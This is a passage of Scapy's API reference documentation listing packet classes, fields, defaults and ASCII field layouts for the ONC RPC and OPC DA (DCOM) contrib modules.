	mname

	PacketField

	<Object_Name  |>



	uid

	IntField

	0



	gid

	IntField

	0



	num_auxgids

	IntField

	0



	auxgids

	FieldListField

	[]















	
class scapy.contrib.oncrpc.Object_Name(_pkt, /, *, length=0, _name=b'', fill=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oncrpc.py#L15-L33]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oncrpc.py#L32-L33]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              NAME             |              FILL             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. Object_Name                         


Object_Name fields






	length

	IntField

	0



	_name

	StrLenField

	b''



	fill

	StrLenField

	b''











	
set(name, length=None, fill=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oncrpc.py#L23-L30]

	








	
class scapy.contrib.oncrpc.RM_Header(_pkt, /, *, rm=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oncrpc.py#L36-L47]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               RM                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. RM_Header                          


RM_Header fields






	rm

	XIntField

	None











	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oncrpc.py#L42-L47]

	Override of post_build to set the rm header == len(payload)










	
class scapy.contrib.oncrpc.RPC(_pkt, /, *, xid=0, mtype=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oncrpc.py#L50-L55]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             MTYPE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. RPC                             


RPC fields






	xid

	XIntField

	0



	mtype

	IntEnumField

	0











	
payload_guess

	Possible sublayers:
MOUNT_Call, MOUNT_Reply, NULL_Call, NULL_Reply, UNMOUNT_Call, UNMOUNT_Reply, ACCESS_Call, ACCESS_Reply, COMMIT_Call, COMMIT_Reply, CREATE_Call, CREATE_Reply, FSINFO_Call, FSINFO_Reply, FSSTAT_Call, FSSTAT_Reply, GETATTR_Call, GETATTR_Reply, LINK_Call, LINK_Reply, LOOKUP_Call, LOOKUP_Reply, MKDIR_Call, MKDIR_Reply, NULL_Call, NULL_Reply, PATHCONF_Call, PATHCONF_Reply, READDIRPLUS_Call, READDIRPLUS_Reply, READDIR_Call, READDIR_Reply, READLINK_Call, READLINK_Reply, READ_Call, READ_Reply, REMOVE_Call, REMOVE_Reply, RENAME_Call, RENAME_Reply, RMDIR_Call, RMDIR_Reply, SETATTR_Call, SETATTR_Reply, SYMLINK_Call, SYMLINK_Reply, WRITE_Call, WRITE_Reply, CANCEL_Call, CANCEL_Reply, GRANTED_MSG_Call, GRANTED_MSG_Reply, GRANTED_RES_Call, GRANTED_RES_Reply, LOCK_Call, LOCK_Reply, SHARE_Call, SHARE_Reply, TEST_Call, TEST_Reply, UNLOCK_Call, UNLOCK_Reply, UNSHARE_Call, UNSHARE_Reply, RPC_Call, RPC_Reply










	
class scapy.contrib.oncrpc.RPC_Call(_pkt, /, *, version=2, program=100003, pversion=3, procedure=0, aflavor=1, alength=None, a_unix=<Auth_Unix  mname=<Object_Name  |> |>, a_rpcsec_gss=<Auth_RPCSEC_GSS  gss_context=<Object_Name  |> |>, vflavor=0, vlength=None, v_unix=<Auth_Unix  mname=<Object_Name  |> |>, v_rpcsec_gss=<Verifier_RPCSEC_GSS  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oncrpc.py#L101-L180]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            VERSION                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PROGRAM                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PVERSION                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           PROCEDURE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AFLAVOR                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ALENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             A UNIX            |          A RPCSEC GSS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            VFLAVOR                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            VLENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             V UNIX            |          V RPCSEC GSS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. RPC_Call                           


RPC_Call fields






	version

	IntField

	2



	program

	IntField

	100003



	pversion

	IntField

	3



	procedure

	IntField

	0



	aflavor

	IntEnumField

	1



	alength

	IntField

	None



	a_unix

	PacketField (Cond)

	<Auth_Unix  mname=<Object_Name  |> |>



	a_rpcsec_gss

	PacketField (Cond)

	<Auth_RPCSEC_GSS  gss_context=<Object_Name  |> |>



	vflavor

	IntEnumField

	0



	vlength

	IntField (Cond)

	None



	v_unix

	PacketField (Cond)

	<Auth_Unix  mname=<Object_Name  |> |>



	v_rpcsec_gss

	PacketField (Cond)

	<Verifier_RPCSEC_GSS  |>











	
payload_guess

	Possible sublayers:
MOUNT_Call, NULL_Call, UNMOUNT_Call, ACCESS_Call, COMMIT_Call, CREATE_Call, FSINFO_Call, FSSTAT_Call, GETATTR_Call, LINK_Call, LOOKUP_Call, MKDIR_Call, NULL_Call, PATHCONF_Call, READDIRPLUS_Call, READDIR_Call, READLINK_Call, READ_Call, REMOVE_Call, RENAME_Call, RMDIR_Call, SETATTR_Call, SYMLINK_Call, WRITE_Call, CANCEL_Call, GRANTED_MSG_Call, GRANTED_RES_Call, LOCK_Call, SHARE_Call, TEST_Call, UNLOCK_Call, UNSHARE_Call






	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oncrpc.py#L160-L180]

	Override of post_build to handle length fields






	
set_auth(**kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oncrpc.py#L144-L158]

	Used to easily set the fields in an a_unix packet










	
class scapy.contrib.oncrpc.RPC_Reply(_pkt, /, *, reply_stat=0, flavor=0, a_unix=<Auth_Unix  mname=<Object_Name  |> |>, length=0, accept_stat=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oncrpc.py#L183-L209]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           REPLY STAT                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FLAVOR                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             A UNIX            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |          ACCEPT STAT          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. RPC_Reply                          


RPC_Reply fields






	reply_stat

	IntField

	0



	flavor

	IntEnumField

	0



	a_unix

	PacketField (Cond)

	<Auth_Unix  mname=<Object_Name  |> |>



	length

	IntField

	0



	accept_stat

	IntField

	0











	
set_auth(**kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oncrpc.py#L196-L209]

	Used to easily set the fields in an a_unix packet










	
class scapy.contrib.oncrpc.Verifier_RPCSEC_GSS(_pkt, /, *, len=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oncrpc.py#L90-L98]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oncrpc.py#L97-L98]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. Verifier_RPCSEC_GSS                     


Verifier_RPCSEC_GSS fields






	len

	FieldLenField

	None



	data

	StrLenField

	b''

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.opc_da

Opc Data Access

Spec: Google ‘OPCDA3.00.pdf’

RPC PDU encodings:
- DCE 1.1 RPC: https://pubs.opengroup.org/onlinepubs/9629399/toc.pdf
- http://pubs.opengroup.org/onlinepubs/9629399/chap12.htm

DCOM Remote Protocol.
[MS-DCOM]: Distributed Component Object Model (DCOM) Remote Protocol
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/4a893f3d-bd29-48cd-9f43-d9777a4415b0
XXX TODO: does not appear to have been linked to RPC


	
class scapy.contrib.opc_da.AV_PAIR(_pkt, /, *, avID=2, avLen=0, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L623-L633]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L632-L633]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AVID             |             AVLEN             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. AV_PAIR                           


AV_PAIR fields






	avID

	ShortEnumField

	2



	avLen

	ShortField

	0



	value

	StrLenField

	b''















	
class scapy.contrib.opc_da.AV_PAIRLE(_pkt, /, *, avID=2, avLen=0, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: AV_PAIR


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AVID             |             AVLEN             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. AV_PAIRLE                          


AV_PAIRLE fields






	avID

	ShortEnumField

	2



	avLen

	ShortField

	0



	value

	StrLenField

	b''















	
class scapy.contrib.opc_da.AuthentificationProtocol(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L278-L292]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L281-L282]

	




	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L284-L292]

	








	
class scapy.contrib.opc_da.ContextElement(_pkt, /, *, contxtId=0, nbTransferSyn=0, reserved=0, abstractSyntax=None, transferSyntax=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L381-L393]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L392-L393]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            CONTXTID           | NBTRANSFERSYN |    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         ABSTRACTSYNTAX        |         TRANSFERSYNTAX        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ContextElement                        


ContextElement fields






	contxtId

	ShortField

	0



	nbTransferSyn

	ByteField

	0



	reserved

	ByteField

	0



	abstractSyntax

	PacketField

	None



	transferSyntax

	PacketListField

	[]















	
class scapy.contrib.opc_da.ContextElementLE(_pkt, /, *, contxtId=0, nbTransferSyn=0, reserved=0, abstractSyntax=None, transferSyntax=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: ContextElement


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            CONTXTID           | NBTRANSFERSYN |    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         ABSTRACTSYNTAX        |         TRANSFERSYNTAX        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ContextElementLE                       


ContextElementLE fields






	contxtId

	ShortField

	0



	nbTransferSyn

	ByteField

	0



	reserved

	ByteField

	0



	abstractSyntax

	PacketField

	None



	transferSyntax

	PacketListField

	[]















	
class scapy.contrib.opc_da.DualStringArray(_pkt, /, *, wNumEntries=0, wSecurityOffset=0, StringBinding=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L419-L427]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          WNUMENTRIES          |        WSECURITYOFFSET        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRINGBINDING         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. DualStringArray                       


DualStringArray fields






	wNumEntries

	ShortField

	0



	wSecurityOffset

	ShortField

	0



	StringBinding

	StrFixedLenField

	b''















	
class scapy.contrib.opc_da.DualStringArrayLE(_pkt, /, *, wNumEntries=0, wSecurityOffset=0, StringBinding=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: DualStringArray


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          WNUMENTRIES          |        WSECURITYOFFSET        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRINGBINDING         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. DualStringArrayLE                      


DualStringArrayLE fields






	wNumEntries

	ShortField

	0



	wSecurityOffset

	ShortField

	0



	StringBinding

	StrFixedLenField

	b''















	
class scapy.contrib.opc_da.IRemoteSCMActivator_RemoteCreateInstance(_pkt, /, *, versionMajor=0, versionMinor=0, flag=1, reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L495-L510]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          VERSIONMAJOR         |          VERSIONMINOR         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              FLAG                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

          Fig. IRemoteSCMActivator_RemoteCreateInstance           


IRemoteSCMActivator_RemoteCreateInstance fields






	versionMajor

	ShortField

	0



	versionMinor

	ShortField

	0



	flag

	IntEnumField

	1



	reserved

	IntField

	0











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L504-L510]

	








	
class scapy.contrib.opc_da.IRemoteSCMActivator_RemoteCreateInstanceLE(_pkt, /, *, versionMajor=0, versionMinor=0, flag=1, reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: IRemoteSCMActivator_RemoteCreateInstance


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          VERSIONMAJOR         |          VERSIONMINOR         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              FLAG                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

         Fig. IRemoteSCMActivator_RemoteCreateInstanceLE          


IRemoteSCMActivator_RemoteCreateInstanceLE fields






	versionMajor

	ShortField

	0



	versionMinor

	ShortField

	0



	flag

	IntEnumField

	1



	reserved

	IntField

	0















	
class scapy.contrib.opc_da.LenStringPacket(_pkt, /, *, length=0, data=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L311-L324]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L323-L324]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             LENGTH            |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. LenStringPacket                       


LenStringPacket fields






	length

	FieldLenField

	0



	data

	MultipleTypeField (StrFixedLenField, StrLenField)

	b''















	
class scapy.contrib.opc_da.LenStringPacketLE(_pkt, /, *, length=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: LenStringPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             LENGTH            |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. LenStringPacketLE                      


LenStringPacketLE fields






	length

	FieldLenField

	0



	data

	StrLenField

	b''















	
class scapy.contrib.opc_da.OBJREF_CUSTOM(_pkt, /, *, clsid=UUID('00010001-0001-0001-0001-000100010001'), cbExtension=0, reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L456-L462]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CLSID                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CBEXTENSION                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OBJREF_CUSTOM                        


OBJREF_CUSTOM fields






	clsid

	UUIDField

	UUID('00010001-0001-0001-0001-000100010001')



	cbExtension

	IntField

	0



	reserved

	IntField

	0















	
class scapy.contrib.opc_da.OBJREF_CUSTOMLE(_pkt, /, *, clsid=UUID('00010001-0001-0001-0001-000100010001'), cbExtension=0, reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: OBJREF_CUSTOM


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CLSID                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CBEXTENSION                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OBJREF_CUSTOMLE                       


OBJREF_CUSTOMLE fields






	clsid

	UUIDField

	UUID('00010001-0001-0001-0001-000100010001')



	cbExtension

	IntField

	0



	reserved

	IntField

	0















	
class scapy.contrib.opc_da.OBJREF_EXTENDED(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L468-L472]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	








	
class scapy.contrib.opc_da.OBJREF_EXTENDEDLE(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: OBJREF_EXTENDED


	
aliastypes

	




	
fields_desc

	








	
class scapy.contrib.opc_da.OBJREF_HANDLER(_pkt, /, *, std=None, clsid=UUID('00010001-0001-0001-0001-000100010001'), saResAddr=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L444-L450]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              STD              |             CLSID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           SARESADDR           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OBJREF_HANDLER                        


OBJREF_HANDLER fields






	std

	PacketField

	None



	clsid

	UUIDField

	UUID('00010001-0001-0001-0001-000100010001')



	saResAddr

	PacketField

	None















	
class scapy.contrib.opc_da.OBJREF_HANDLERLE(_pkt, /, *, std=None, clsid=UUID('00010001-0001-0001-0001-000100010001'), saResAddr=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: OBJREF_HANDLER


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              STD              |             CLSID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           SARESADDR           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OBJREF_HANDLERLE                       


OBJREF_HANDLERLE fields






	std

	PacketField

	None



	clsid

	UUIDField

	UUID('00010001-0001-0001-0001-000100010001')



	saResAddr

	PacketField

	None















	
class scapy.contrib.opc_da.OBJREF_STANDARD(_pkt, /, *, std=None, saResAddr=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L433-L438]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              STD              |           SARESADDR           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OBJREF_STANDARD                       


OBJREF_STANDARD fields






	std

